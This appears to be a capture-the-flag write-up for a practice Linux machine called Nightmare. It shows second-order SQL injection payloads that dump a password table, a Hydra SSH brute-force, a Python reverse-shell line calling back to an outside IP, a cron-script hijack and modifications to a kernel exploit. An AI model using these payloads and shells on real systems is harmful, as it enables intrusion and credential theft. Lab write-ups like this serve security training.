Difficulty Rating:

Machine: Nightmare
OS: Linux
IP: 10.10.10.66


The machine runs web service on port 80 and SFTP on port 2222. The login page on the web service is vulnerable to Second Order SQL Injection. Further, privilege escalation was made by a kernel exploit.


  • Nmap
# Nmap 7.70 scan initiated Sun Jun 24 13:06:32 2018 as: nmap -A -oN nightmare.nmap -v 10.10.10.66
Nmap scan report for 10.10.10.66
Host is up (0.25s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: NOTES
2222/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-OpenSSH 32bit (not so recent ver)
| ssh-hostkey: 
|   1024 e2:71:84:5d:ed:07:89:98:68:8b:6e:78:da:84:4c:b5 (DSA)
|   2048 bd:1c:11:9a:5b:15:d2:f6:28:76:c3:40:7c:80:6d:ec (RSA)
|   256 bf:e8:25:bf:ca:92:55:bc:ca:a4:96:c7:43:d0:51:73 (ECDSA)
|_  256 6f:14:30:b1:39:47:54:b7:5a:01:be:96:2c:a7:96:58 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.70%I=7%D=6/24%Time=5B2F4A17%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2B,"SSH-2\.0-OpenSSH\x2032bit\x20\(not\x20so\x20recent\x20ver\)\r\n"
SF:);

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 24 13:07:03 2018 -- 1 IP address (1 host up) scanned in 30.87 seconds
  • Let’s check port 80.
  • We see a login page with title NOTES

  • After trying certain combinations of login, I found that this is vulnerable to Second Order SQL injection

  • PoC for Second Order SQL Injection:

  • To get basic SQL:
    • Register username with name admin')-- -
    • Password can be anything. I chose password to be admin
  • Login with the above credentials.

  • Use burp to execute following SQL queries, to avoid maximum username length constraing on the login page.

  • Get number of columns:

admin') or 1=1 order by 2 -- -
  • The SQL query consists 2 columns.

  • Get Database name:

admin')+or+1%3d1+union+select+(select+group_concat(0x7c,schema_name,0x7c)+from+information_schema.schemata),2+--+-

  • Database names: notes, sysadmin
  • Let’s focus on sysadmin database
  • Get table and column names for sysadmin database:
admin')+or+1%3d1+union+select+(select+group_concat(0x7c,column_name,0x7c,table_name)+from+information_schema.columns+where+table_schema%3d0x73797361646d696e),2+--+-
Note: The hex value 0x73797361646d696e is a string sysadmin.
  • Dump passwords
admin') or 1=1 union select (select group_concat(0x7c,username,0x7c,password) from sysadmin.users),2 -- -

  • Create a list of users and passwords, and use it to bruteforce SSH which is running on port 2222.
  • Use Hydra to bruteforce SSH.

  • We got SSH creds:
    • Username: ftpuser
    • Password: @whereyougo?
  • When I tried to SSH, I got an error:

  • Looks like PTY is not being allocated, but we logged in successfully.
  • So SSH protocol is working, but we are not getting shell.
  • So let’s try SFTP

cmd = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.8",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
host = '10.10.10.66'
port = 2222
username = 'ftpuser'
password = '@whereyougo?'
  • Start netcat listener on port 443
  • Execute the exploit

  • When we check decoder user’s home directory, we find that the flag and directory test has given extended ACL permissions.

  • Also, some of the important commands like, ps are also given ACL permissions, are not allowed to be executed.

  • After some enumeration, I found that there is an executable named sls which has SGID bit set with group decoder. This means, I can execute this file with Effective Group ID of decoder.

  • After some enumeration on the file, we get that this is an ELF executable file. Let’s execute strings command on the executable.
[email protected]:/usr/bin$ strings sls
/lib64/ld-linux-x86-64.so.2
libc.so.6
exit
realloc
strlen
strstr
malloc
strcat
system
strchr
__libc_start_main
free
__gmon_start__
GLIBC_2.2.5
UH-x
=Q
/bin/ls
<-uM
<bu+
AWAVA
AUATL
[]A\A]A^A_
|`&><'"\[]{};
;*3$"
  • The executable uses system function and ls command.
  • After executing, we see that it works like ls command, but it filters some of the characters like
|`&><'"\[]{};
  • So we need to get command execution by bypassing above filters. We could do this by using C-style escape characters.

  • Get user.txt
  • Now we have got Effective Group ID of decoder, which means we can write to the /home/decoder/test/ directory
drwx-wx--x  2 root    decoder 4096 Jun 25 19:35 test
  • Checking /etc/crontab suggests that the user decoder is executing the /home/decoder/test/script.sh after every 15 minutes.

  • We can create a reverse shell with the name script.sh in test directory.

  • Start netcat listener on port 443 and wait for sometime.

  • Let’s check the kernel version
$ uname -a
Linux nightmare 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// Will be overwritten by detect_versions().
int kernel = 38;        // CHANGE

----------------------------------------------------------------

/*      if (strcmp("trusty", kernels[kernel].distro) == 0 &&
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
            strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||
            strncmp("4.8.0", kernels[kernel].version, 5) == 0) */       // CHANGE
                return get_kernel_addr_xenial(syslog, size);

----------------------------------------------------------------

if (/*strcmp(&codename[0], kernels[i].distro) == 0 &&*/     //CHANGE
strcmp(&version[0], kernels[i].version) == 0) {
  • Compile the code locally and upload it in test directory and give the permissions to execute.
Note: This machine blocks any traffic other than 80 or 443. To upload the code on the machine, copy the Base64 encoded string of the executable and decode it on the machine.

  • Get root.txt
User and root owned!!

Share the fun!